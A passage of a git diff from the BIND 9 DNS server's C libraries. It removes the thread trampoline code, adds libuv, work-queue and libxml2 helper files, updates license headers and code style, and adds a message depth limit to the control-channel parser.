- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <inttypes.h>
-#include <stdlib.h>
-
-#include <isc/mem.h>
-#include <isc/mutex.h>
-#include <isc/once.h>
-#include <isc/thread.h>
-#include <isc/util.h>
-
-#include "trampoline_p.h"
-
-#define ISC__TRAMPOLINE_UNUSED 0
-
-struct isc__trampoline {
-	int tid; /* const */
-	uintptr_t self;
-	isc_threadfunc_t start;
-	isc_threadarg_t arg;
-};
-
-static isc_once_t isc__trampoline_initialize_once = ISC_ONCE_INIT;
-static isc_once_t isc__trampoline_shutdown_once = ISC_ONCE_INIT;
-static isc_mutex_t isc__trampoline_lock;
-static isc__trampoline_t **trampolines;
-thread_local size_t isc_tid_v = SIZE_MAX;
-static size_t isc__trampoline_min = 1;
-static size_t isc__trampoline_max = 65;
-
-/*
- * We can't use isc_mem API here, because it's called too
- * early and when the isc_mem_debugging flags are changed
- * later and ISC_MEM_DEBUGSIZE or ISC_MEM_DEBUGCTX flags are
- * added, neither isc_mem_put() nor isc_mem_free() can be used
- * to free up the memory allocated here because the flags were
- * not set when calling isc_mem_get() or isc_mem_allocate()
- * here.
- *
- * Actually, since this is a single allocation at library load
- * and deallocation at library unload, using the standard
- * allocator without the tracking is fine for this purpose.
- */
-static isc__trampoline_t *
-isc__trampoline_new(int tid, isc_threadfunc_t start, isc_threadarg_t arg) {
-	isc__trampoline_t *trampoline = calloc(1, sizeof(*trampoline));
-	RUNTIME_CHECK(trampoline != NULL);
-
-	*trampoline = (isc__trampoline_t){
-		.tid = tid,
-		.start = start,
-		.arg = arg,
-		.self = ISC__TRAMPOLINE_UNUSED,
-	};
-
-	return (trampoline);
-}
-
-static void
-trampoline_initialize(void) {
-	isc_mutex_init(&isc__trampoline_lock);
-
-	trampolines = calloc(isc__trampoline_max, sizeof(trampolines[0]));
-	RUNTIME_CHECK(trampolines != NULL);
-
-	/* Get the trampoline slot 0 for the main thread */
-	trampolines[0] = isc__trampoline_new(0, NULL, NULL);
-	trampolines[0]->self = isc_thread_self();
-	isc_tid_v = trampolines[0]->tid;
-
-	/* Initialize the other trampolines */
-	for (size_t i = 1; i < isc__trampoline_max; i++) {
-		trampolines[i] = NULL;
-	}
-	isc__trampoline_min = 1;
-}
-
-void
-isc__trampoline_initialize(void) {
-	isc_result_t result = isc_once_do(&isc__trampoline_initialize_once,
-					  trampoline_initialize);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-}
-
-static void
-trampoline_shutdown(void) {
-	/*
-	 * When the program using the library exits abruptly and the library
-	 * gets unloaded, there might be some existing trampolines from unjoined
-	 * threads.  We intentionally ignore those and don't check whether all
-	 * trampolines have been cleared before exiting.
-	 */
-	free(trampolines[0]);
-	free(trampolines);
-	trampolines = NULL;
-	isc_mutex_destroy(&isc__trampoline_lock);
-}
-
-void
-isc__trampoline_shutdown(void) {
-	isc_result_t result = isc_once_do(&isc__trampoline_shutdown_once,
-					  trampoline_shutdown);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-}
-
-isc__trampoline_t *
-isc__trampoline_get(isc_threadfunc_t start, isc_threadarg_t arg) {
-	isc__trampoline_t **tmp = NULL;
-	isc__trampoline_t *trampoline = NULL;
-	LOCK(&isc__trampoline_lock);
-again:
-	for (size_t i = isc__trampoline_min; i < isc__trampoline_max; i++) {
-		if (trampolines[i] == NULL) {
-			trampoline = isc__trampoline_new(i, start, arg);
-			trampolines[i] = trampoline;
-			isc__trampoline_min = i + 1;
-			goto done;
-		}
-	}
-	tmp = calloc(2 * isc__trampoline_max, sizeof(trampolines[0]));
-	RUNTIME_CHECK(tmp != NULL);
-	for (size_t i = 0; i < isc__trampoline_max; i++) {
-		tmp[i] = trampolines[i];
-	}
-	for (size_t i = isc__trampoline_max; i < 2 * isc__trampoline_max; i++) {
-		tmp[i] = NULL;
-	}
-	free(trampolines);
-	trampolines = tmp;
-	isc__trampoline_max = isc__trampoline_max * 2;
-	goto again;
-done:
-	INSIST(trampoline != NULL);
-	UNLOCK(&isc__trampoline_lock);
-
-	return (trampoline);
-}
-
-static void
-trampoline_put(isc__trampoline_t *trampoline) {
-	LOCK(&isc__trampoline_lock);
-	REQUIRE(trampoline->tid > 0 &&
-		(size_t)trampoline->tid < isc__trampoline_max);
-	REQUIRE(trampoline->self == isc_thread_self());
-	REQUIRE(trampolines[trampoline->tid] == trampoline);
-
-	trampolines[trampoline->tid] = NULL;
-
-	if (isc__trampoline_min > (size_t)trampoline->tid) {
-		isc__trampoline_min = trampoline->tid;
-	}
-
-	free(trampoline);
-
-	UNLOCK(&isc__trampoline_lock);
-	return;
-}
-
-isc_threadresult_t
-isc__trampoline_run(isc_threadarg_t arg) {
-	isc__trampoline_t *trampoline = (isc__trampoline_t *)arg;
-	isc_threadresult_t result;
-
-	REQUIRE(trampoline->tid > 0 &&
-		(size_t)trampoline->tid < isc__trampoline_max);
-	REQUIRE(trampoline->self == ISC__TRAMPOLINE_UNUSED);
-
-	/* Initialize the trampoline */
-	isc_tid_v = trampoline->tid;
-	trampoline->self = isc_thread_self();
-
-	/* Run the main function */
-	result = (trampoline->start)(trampoline->arg);
-
-	trampoline_put(trampoline);
-
-	return (result);
-}
diff --git a/lib/isc/trampoline_p.h b/lib/isc/trampoline_p.h
deleted file mode 100644
index 12bc6ad0e7..0000000000
--- a/lib/isc/trampoline_p.h
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-#include <isc/thread.h>
-
-typedef struct isc__trampoline isc__trampoline_t;
-
-void
-isc__trampoline_initialize(void);
-/*%<
- * Initialize the thread trampoline internal structures, must be called only
- * once as a library constructor (see lib/isc/lib.c).
- */
-
-void
-isc__trampoline_shutdown(void);
-/*%<
- * Destroy the thread trampoline internal structures, must be called only
- * once as a library destructor (see lib/isc/lib.c).
- */
-
-isc__trampoline_t *
-isc__trampoline_get(isc_threadfunc_t start_routine, isc_threadarg_t arg);
-/*%<
- * Get a free thread trampoline structure and initialize it with
- * start_routine and arg passed to start_routine.
- *
- * Requires:
- *\li	'start_routine' is a valid non-NULL thread start_routine
- */
-
-isc_threadresult_t
-isc__trampoline_run(isc_threadarg_t arg);
-/*%<
- * Run the thread trampoline, this will get passed to the actual
- * pthread_create(), initialize the isc_tid_v.
- *
- * Requires:
- *\li	'arg' is a valid isc_trampoline_t
- *
- * Returns:
- *\li	return value from start_routine (see isc__trampoline_get())
- */
diff --git a/lib/isc/url.c b/lib/isc/url.c
index e24ce362f1..cccb712be3 100644
--- a/lib/isc/url.c
+++ b/lib/isc/url.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0 and MIT
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -275,7 +277,7 @@ parse_url_char(state_t s, const char ch) {
 			return (s_dead);
 		}
 
-		/* FALLTHROUGH */
+		FALLTHROUGH;
 	case s_req_server_start:
 	case s_req_server:
 		if (ch == '/') {
@@ -397,7 +399,7 @@ http_parse_host_char(host_state_t s, const char ch) {
 			return (s_http_host);
 		}
 
-		/* FALLTHROUGH */
+		FALLTHROUGH;
 	case s_http_host_v6_end:
 		if (ch == ':') {
 			return (s_http_host_port_start);
@@ -410,7 +412,7 @@ http_parse_host_char(host_state_t s, const char ch) {
 			return (s_http_host_v6_end);
 		}
 
-		/* FALLTHROUGH */
+		FALLTHROUGH;
 	case s_http_host_v6_start:
 		if (isxdigit((unsigned char)ch) || ch == ':' || ch == '.') {
 			return (s_http_host_v6);
@@ -426,7 +428,7 @@ http_parse_host_char(host_state_t s, const char ch) {
 			return (s_http_host_v6_end);
 		}
 
-		/* FALLTHROUGH */
+		FALLTHROUGH;
 	case s_http_host_v6_zone_start:
 		/* RFC 6874 Zone ID consists of 1*( unreserved / pct-encoded) */
 		if (isalnum((unsigned char)ch) || ch == '%' || ch == '.' ||
@@ -576,7 +578,7 @@ isc_url_parse(const char *buf, size_t buflen, bool is_connect,
 
 		case s_req_server_with_at:
 			found_at = 1;
-			/* FALLTHROUGH */
+			FALLTHROUGH;
 		case s_req_server:
 			uf = ISC_UF_HOST;
 			break;
@@ -594,8 +596,7 @@ isc_url_parse(const char *buf, size_t buflen, bool is_connect,
 			break;
 
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 
 		/* Nothing's changed; soldier on */
@@ -630,7 +631,8 @@ isc_url_parse(const char *buf, size_t buflen, bool is_connect,
 
 	/* CONNECT requests can only contain "hostname:port" */
 	if (is_connect &&
-	    up->field_set != ((1 << ISC_UF_HOST) | (1 << ISC_UF_PORT))) {
+	    up->field_set != ((1 << ISC_UF_HOST) | (1 << ISC_UF_PORT)))
+	{
 		return (ISC_R_FAILURE);
 	}
 
diff --git a/lib/isc/utf8.c b/lib/isc/utf8.c
index 8803bb85ef..a348c5dab2 100644
--- a/lib/isc/utf8.c
+++ b/lib/isc/utf8.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -35,7 +37,8 @@ isc_utf8_valid(const unsigned char *buf, size_t len) {
 			continue;
 		}
 		if ((i + 1) < len && (buf[i] & 0xe0) == 0xc0 &&
-		    (buf[i + 1] & 0xc0) == 0x80) {
+		    (buf[i + 1] & 0xc0) == 0x80)
+		{
 			unsigned int w;
 			w = (buf[i] & 0x1f) << 6;
 			w |= (buf[++i] & 0x3f);
diff --git a/lib/isc/uv.c b/lib/isc/uv.c
new file mode 100644
index 0000000000..41b926d270
--- /dev/null
+++ b/lib/isc/uv.c
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <unistd.h>
+
+#include <isc/mem.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+
+/*%
+ * Convert a libuv error value into an isc_result_t.  The
+ * list of supported error values is not complete; new users
+ * of this function should add any expected errors that are
+ * not already there.
+ */
+isc_result_t
+isc__uverr2result(int uverr, bool dolog, const char *file, unsigned int line,
+		  const char *func) {
+	switch (uverr) {
+	case 0:
+		return (ISC_R_SUCCESS);
+	case UV_ENOTDIR:
+	case UV_ELOOP:
+	case UV_EINVAL: /* XXX sometimes this is not for files */
+	case UV_ENAMETOOLONG:
+	case UV_EBADF:
+		return (ISC_R_INVALIDFILE);
+	case UV_ENOENT:
+		return (ISC_R_FILENOTFOUND);
+	case UV_EAGAIN:
+		return (ISC_R_NOCONN);
+	case UV_EACCES:
+	case UV_EPERM:
+		return (ISC_R_NOPERM);
+	case UV_EEXIST:
+		return (ISC_R_FILEEXISTS);
+	case UV_EIO:
+		return (ISC_R_IOERROR);
+	case UV_ENOMEM:
+		return (ISC_R_NOMEMORY);
+	case UV_ENFILE:
+	case UV_EMFILE:
+		return (ISC_R_TOOMANYOPENFILES);
+	case UV_ENOSPC:
+		return (ISC_R_DISCFULL);
+	case UV_EPIPE:
+	case UV_ECONNRESET:
+	case UV_ECONNABORTED:
+		return (ISC_R_CONNECTIONRESET);
+	case UV_ENOTCONN:
+		return (ISC_R_NOTCONNECTED);
+	case UV_ETIMEDOUT:
+		return (ISC_R_TIMEDOUT);
+	case UV_ENOBUFS:
+		return (ISC_R_NORESOURCES);
+	case UV_EAFNOSUPPORT:
+		return (ISC_R_FAMILYNOSUPPORT);
+	case UV_ENETDOWN:
+		return (ISC_R_NETDOWN);
+	case UV_EHOSTDOWN:
+		return (ISC_R_HOSTDOWN);
+	case UV_ENETUNREACH:
+		return (ISC_R_NETUNREACH);
+	case UV_EHOSTUNREACH:
+		return (ISC_R_HOSTUNREACH);
+	case UV_EADDRINUSE:
+		return (ISC_R_ADDRINUSE);
+	case UV_EADDRNOTAVAIL:
+		return (ISC_R_ADDRNOTAVAIL);
+	case UV_ECONNREFUSED:
+		return (ISC_R_CONNREFUSED);
+	case UV_ECANCELED:
+		return (ISC_R_CANCELED);
+	case UV_EOF:
+		return (ISC_R_EOF);
+	case UV_EMSGSIZE:
+		return (ISC_R_MAXSIZE);
+	case UV_ENOTSUP:
+		return (ISC_R_FAMILYNOSUPPORT);
+	case UV_ENOPROTOOPT:
+	case UV_EPROTONOSUPPORT:
+		return (ISC_R_INVALIDPROTO);
+	default:
+		if (dolog) {
+			UNEXPECTED_ERROR("unable to convert libuv error code "
+					 "in %s (%s:%d) to isc_result: %d: %s",
+					 func, file, line, uverr,
+					 uv_strerror(uverr));
+		}
+		return (ISC_R_UNEXPECTED);
+	}
+}
+
+#if UV_VERSION_HEX >= UV_VERSION(1, 38, 0)
+static isc_mem_t *isc__uv_mctx = NULL;
+
+static void *
+isc__uv_malloc(size_t size) {
+	return (isc_mem_allocate(isc__uv_mctx, size));
+}
+
+static void *
+isc__uv_realloc(void *ptr, size_t size) {
+	return (isc_mem_reallocate(isc__uv_mctx, ptr, size));
+}
+
+static void *
+isc__uv_calloc(size_t count, size_t size) {
+	return (isc_mem_callocate(isc__uv_mctx, count, size));
+}
+
+static void
+isc__uv_free(void *ptr) {
+	if (ptr == NULL) {
+		return;
+	}
+	isc_mem_free(isc__uv_mctx, ptr);
+}
+#endif /* UV_VERSION_HEX >= UV_VERSION(1, 38, 0) */
+
+void
+isc__uv_initialize(void) {
+#if UV_VERSION_HEX >= UV_VERSION(1, 38, 0)
+	int r;
+	isc_mem_create(&isc__uv_mctx);
+	isc_mem_setname(isc__uv_mctx, "uv");
+	isc_mem_setdestroycheck(isc__uv_mctx, false);
+
+	r = uv_replace_allocator(isc__uv_malloc, isc__uv_realloc,
+				 isc__uv_calloc, isc__uv_free);
+	UV_RUNTIME_CHECK(uv_replace_allocator, r);
+#endif /* UV_VERSION_HEX >= UV_VERSION(1, 38, 0) */
+}
+
+void
+isc__uv_shutdown(void) {
+#if UV_VERSION_HEX >= UV_VERSION(1, 38, 0)
+	uv_library_shutdown();
+	isc_mem_destroy(&isc__uv_mctx);
+#endif /* UV_VERSION_HEX < UV_VERSION(1, 38, 0) */
+}
+
+void
+isc__uv_setdestroycheck(bool check) {
+#if UV_VERSION_HEX >= UV_VERSION(1, 38, 0)
+	isc_mem_setdestroycheck(isc__uv_mctx, check);
+#else
+	UNUSED(check);
+#endif /* UV_VERSION_HEX >= UV_VERSION(1, 6, 0) */
+}
diff --git a/lib/isc/work.c b/lib/isc/work.c
new file mode 100644
index 0000000000..8cb64747a1
--- /dev/null
+++ b/lib/isc/work.c
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdlib.h>
+
+#include <isc/job.h>
+#include <isc/loop.h>
+#include <isc/urcu.h>
+#include <isc/uv.h>
+#include <isc/work.h>
+
+#include "loop_p.h"
+
+static void
+isc__work_cb(uv_work_t *req) {
+	isc_work_t *work = uv_req_get_data((uv_req_t *)req);
+
+	rcu_register_thread();
+
+	work->work_cb(work->cbarg);
+
+	rcu_unregister_thread();
+}
+
+static void
+isc__after_work_cb(uv_work_t *req, int status) {
+	isc_work_t *work = uv_req_get_data((uv_req_t *)req);
+	isc_loop_t *loop = work->loop;
+
+	UV_RUNTIME_CHECK(uv_after_work_cb, status);
+
+	work->after_work_cb(work->cbarg);
+
+	isc_mem_put(loop->mctx, work, sizeof(*work));
+
+	isc_loop_detach(&loop);
+}
+
+void
+isc_work_enqueue(isc_loop_t *loop, isc_work_cb work_cb,
+		 isc_after_work_cb after_work_cb, void *cbarg) {
+	isc_work_t *work = NULL;
+	int r;
+
+	REQUIRE(VALID_LOOP(loop));
+	REQUIRE(work_cb != NULL);
+	REQUIRE(after_work_cb != NULL);
+
+	work = isc_mem_get(loop->mctx, sizeof(*work));
+	*work = (isc_work_t){
+		.work_cb = work_cb,
+		.after_work_cb = after_work_cb,
+		.cbarg = cbarg,
+	};
+
+	isc_loop_attach(loop, &work->loop);
+
+	uv_req_set_data((uv_req_t *)&work->work, work);
+
+	r = uv_queue_work(&loop->loop, &work->work, isc__work_cb,
+			  isc__after_work_cb);
+	UV_RUNTIME_CHECK(uv_queue_work, r);
+}
diff --git a/lib/isc/xml.c b/lib/isc/xml.c
new file mode 100644
index 0000000000..9b5e52c818
--- /dev/null
+++ b/lib/isc/xml.c
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <isc/mem.h>
+#include <isc/util.h>
+#include <isc/xml.h>
+
+#ifdef HAVE_LIBXML2
+#include <libxml/parser.h>
+#include <libxml/xmlversion.h>
+
+static isc_mem_t *isc__xml_mctx = NULL;
+
+static void *
+isc__xml_malloc(size_t size) {
+	return (isc_mem_allocate(isc__xml_mctx, size));
+}
+
+static void *
+isc__xml_realloc(void *ptr, size_t size) {
+	return (isc_mem_reallocate(isc__xml_mctx, ptr, size));
+}
+
+static char *
+isc__xml_strdup(const char *str) {
+	return (isc_mem_strdup(isc__xml_mctx, str));
+}
+
+static void
+isc__xml_free(void *ptr) {
+	if (ptr == NULL) {
+		return;
+	}
+	isc_mem_free(isc__xml_mctx, ptr);
+}
+
+#endif /* HAVE_LIBXML2 */
+
+void
+isc__xml_initialize(void) {
+#ifdef HAVE_LIBXML2
+	isc_mem_create(&isc__xml_mctx);
+	isc_mem_setname(isc__xml_mctx, "libxml2");
+	isc_mem_setdestroycheck(isc__xml_mctx, false);
+
+	RUNTIME_CHECK(xmlGcMemSetup(isc__xml_free, isc__xml_malloc,
+				    isc__xml_malloc, isc__xml_realloc,
+				    isc__xml_strdup) == 0);
+
+	xmlInitParser();
+#endif /* HAVE_LIBXML2 */
+}
+
+void
+isc__xml_shutdown(void) {
+#ifdef HAVE_LIBXML2
+	xmlCleanupParser();
+	isc_mem_destroy(&isc__xml_mctx);
+#endif /* HAVE_LIBXML2 */
+}
+
+void
+isc__xml_setdestroycheck(bool check) {
+#if HAVE_LIBXML2
+	isc_mem_setdestroycheck(isc__xml_mctx, check);
+#else
+	UNUSED(check);
+#endif
+}
diff --git a/lib/isccc/Makefile.am b/lib/isccc/Makefile.am
index d5cc537ead..cb70a6686b 100644
--- a/lib/isccc/Makefile.am
+++ b/lib/isccc/Makefile.am
@@ -8,8 +8,6 @@ libisccc_la_HEADERS =			\
 	include/isccc/base64.h		\
 	include/isccc/cc.h		\
 	include/isccc/ccmsg.h		\
-	include/isccc/events.h		\
-	include/isccc/result.h		\
 	include/isccc/sexpr.h		\
 	include/isccc/symtab.h		\
 	include/isccc/symtype.h		\
@@ -22,13 +20,13 @@ libisccc_la_SOURCES =		\
 	base64.c		\
 	cc.c			\
 	ccmsg.c			\
-	result.c		\
 	sexpr.c			\
 	symtab.c
 
 libisccc_la_CPPFLAGS =		\
 	$(AM_CPPFLAGS)		\
 	$(LIBISC_CFLAGS)	\
+	$(LIBDNS_CFLAGS)	\
 	$(LIBISCCC_CFLAGS)
 
 libisccc_la_LIBADD =	\
@@ -37,7 +35,3 @@ libisccc_la_LIBADD =	\
 libisccc_la_LDFLAGS =		\
 	$(AM_LDFLAGS)		\
 	-release "$(PACKAGE_VERSION)"
-
-if HAVE_CMOCKA
-SUBDIRS = tests
-endif
diff --git a/lib/isccc/alist.c b/lib/isccc/alist.c
index e179b41e34..255de24423 100644
--- a/lib/isccc/alist.c
+++ b/lib/isccc/alist.c
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -30,10 +34,9 @@
 #include <string.h>
 
 #include <isc/assertions.h>
-#include <isc/print.h>
+#include <isc/result.h>
 
 #include <isccc/alist.h>
-#include <isccc/result.h>
 #include <isccc/sexpr.h>
 #include <isccc/util.h>
 
@@ -280,7 +283,8 @@ isccc_alist_prettyprint(isccc_sexpr_t *sexpr, unsigned int indent,
 		fprintf(stream, "{\n");
 		indent += 4;
 		for (elt = isccc_alist_first(sexpr); elt != NULL;
-		     elt = CDR(elt)) {
+		     elt = CDR(elt))
+		{
 			kv = CAR(elt);
 			INSIST(isccc_sexpr_listp(kv));
 			k = CAR(kv);
diff --git a/lib/isccc/base64.c b/lib/isccc/base64.c
index 3633526d3b..fd0f3811c6 100644
--- a/lib/isccc/base64.c
+++ b/lib/isccc/base64.c
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -31,7 +35,6 @@
 #include <isc/result.h>
 
 #include <isccc/base64.h>
-#include <isccc/result.h>
 #include <isccc/util.h>
 
 isc_result_t
diff --git a/lib/isccc/cc.c b/lib/isccc/cc.c
index 0be28b9057..dd8397054a 100644
--- a/lib/isccc/cc.c
+++ b/lib/isccc/cc.c
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) 2001 Nominum, Inc.
+ */
+
+/*
+ * Copyright (C) 2001 Nominum, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -34,15 +38,12 @@
 
 #include <isc/assertions.h>
 #include <isc/hmac.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/safe.h>
 
-#include <pk11/site.h>
-
 #include <isccc/alist.h>
 #include <isccc/base64.h>
 #include <isccc/cc.h>
-#include <isccc/result.h>
 #include <isccc/sexpr.h>
 #include <isccc/symtab.h>
 #include <isccc/symtype.h>
@@ -50,6 +51,10 @@
 
 #define MAX_TAGS     256
 #define DUP_LIFETIME 900
+#ifndef ISCCC_MAXDEPTH
+#define ISCCC_MAXDEPTH \
+	10 /* Big enough for rndc which just sends a string each way. */
+#endif
 
 typedef isccc_sexpr_t *sexpr_ptr;
 
@@ -111,14 +116,14 @@ value_towire(isccc_sexpr_t *elt, isc_buffer_t **buffer) {
 	if (isccc_sexpr_binaryp(elt)) {
 		vr = isccc_sexpr_tobinary(elt);
 		len = REGION_SIZE(*vr);
-		result = isc_buffer_reserve(buffer, 1 + 4);
+		result = isc_buffer_reserve(*buffer, 1 + 4);
 		if (result != ISC_R_SUCCESS) {
 			return (ISC_R_NOSPACE);
 		}
 		isc_buffer_putuint8(*buffer, ISCCC_CCMSGTYPE_BINARYDATA);
 		isc_buffer_putuint32(*buffer, len);
 
-		result = isc_buffer_reserve(buffer, len);
+		result = isc_buffer_reserve(*buffer, len);
 		if (result != ISC_R_SUCCESS) {
 			return (ISC_R_NOSPACE);
 		}
@@ -127,7 +132,7 @@ value_towire(isccc_sexpr_t *elt, isc_buffer_t **buffer) {
 		unsigned int used;
 		isc_buffer_t b;
 
-		result = isc_buffer_reserve(buffer, 1 + 4);
+		result = isc_buffer_reserve(*buffer, 1 + 4);
 		if (result != ISC_R_SUCCESS) {
 			return (ISC_R_NOSPACE);
 		}
@@ -161,7 +166,7 @@ value_towire(isccc_sexpr_t *elt, isc_buffer_t **buffer) {
 		unsigned int used;
 		isc_buffer_t b;
 
-		result = isc_buffer_reserve(buffer, 1 + 4);
+		result = isc_buffer_reserve(*buffer, 1 + 4);
 		if (result != ISC_R_SUCCESS) {
 			return (ISC_R_NOSPACE);
 		}
@@ -204,7 +209,8 @@ table_towire(isccc_sexpr_t *alist, isc_buffer_t **buffer) {
 	unsigned int len;
 
 	for (elt = isccc_alist_first(alist); elt != NULL;
-	     elt = ISCCC_SEXPR_CDR(elt)) {
+	     elt = ISCCC_SEXPR_CDR(elt))
+	{
 		kv = ISCCC_SEXPR_CAR(elt);
 		k = ISCCC_SEXPR_CAR(kv);
 		ks = isccc_sexpr_tostring(k);
@@ -214,7 +220,7 @@ table_towire(isccc_sexpr_t *alist, isc_buffer_t **buffer) {
 		/*
 		 * Emit the key name.
 		 */
-		result = isc_buffer_reserve(buffer, 1 + len);
+		result = isc_buffer_reserve(*buffer, 1 + len);
 		if (result != ISC_R_SUCCESS) {
 			return (ISC_R_NOSPACE);
 		}
@@ -254,7 +260,7 @@ sign(unsigned char *data, unsigned int length, unsigned char *hmac,
 	isc_result_t result;
 	isccc_region_t source, target;
 	unsigned char digest[ISC_MAX_MD_SIZE];
-	unsigned int digestlen;
+	unsigned int digestlen = sizeof(digest);
 	unsigned char digestb64[HSHA_LENGTH + 4];
 
 	source.rstart = digest;
@@ -310,7 +316,7 @@ isccc_cc_towire(isccc_sexpr_t *alist, isc_buffer_t **buffer, uint32_t algorithm,
 	unsigned int hmac_base, signed_base;
 	isc_result_t result;
 
-	result = isc_buffer_reserve(buffer,
+	result = isc_buffer_reserve(*buffer,
 				    4 + ((algorithm == ISCCC_ALG_HMACMD5)
 						 ? sizeof(auth_hmd5)
 						 : sizeof(auth_hsha)));
@@ -377,7 +383,7 @@ verify(isccc_sexpr_t *alist, unsigned char *data, unsigned int length,
 	isc_result_t result;
 	isccc_sexpr_t *_auth, *hmac;
 	unsigned char digest[ISC_MAX_MD_SIZE];
-	unsigned int digestlen;
+	unsigned int digestlen = sizeof(digest);
 	unsigned char digestb64[HSHA_LENGTH * 4];
 
 	/*
@@ -470,7 +476,8 @@ verify(isccc_sexpr_t *alist, unsigned char *data, unsigned int length,
 		value = region->rstart;
 		GET8(valalg, value);
 		if ((valalg != algorithm) ||
-		    !isc_safe_memequal(value, digestb64, HSHA_LENGTH)) {
+		    !isc_safe_memequal(value, digestb64, HSHA_LENGTH))
+		{
 			return (ISCCC_R_BADAUTH);
 		}
 	}
@@ -480,19 +487,25 @@ verify(isccc_sexpr_t *alist, unsigned char *data, unsigned int length,
 
 static isc_result_t
 table_fromwire(isccc_region_t *source, isccc_region_t *secret,
-	       uint32_t algorithm, isccc_sexpr_t **alistp);
+	       uint32_t algorithm, unsigned int depth, isccc_sexpr_t **alistp);
 
 static isc_result_t
-list_fromwire(isccc_region_t *source, isccc_sexpr_t **listp);
+list_fromwire(isccc_region_t *source, unsigned int depth,
+	      isccc_sexpr_t **listp);
 
 static isc_result_t
-value_fromwire(isccc_region_t *source, isccc_sexpr_t **valuep) {
+value_fromwire(isccc_region_t *source, unsigned int depth,
+	       isccc_sexpr_t **valuep) {
 	unsigned int msgtype;
 	uint32_t len;
 	isccc_sexpr_t *value;
 	isccc_region_t active;
 	isc_result_t result;
 
+	if (depth > ISCCC_MAXDEPTH) {
+		return (ISCCC_R_MAXDEPTH);
+	}
+
 	if (REGION_SIZE(*source) < 1 + 4) {
 		return (ISC_R_UNEXPECTEDEND);
 	}
@@ -513,9 +526,9 @@ value_fromwire(isccc_region_t *source, isccc_sexpr_t **valuep) {
 			result = ISC_R_NOMEMORY;
 		}
 	} else if (msgtype == ISCCC_CCMSGTYPE_TABLE) {
-		result = table_fromwire(&active, NULL, 0, valuep);
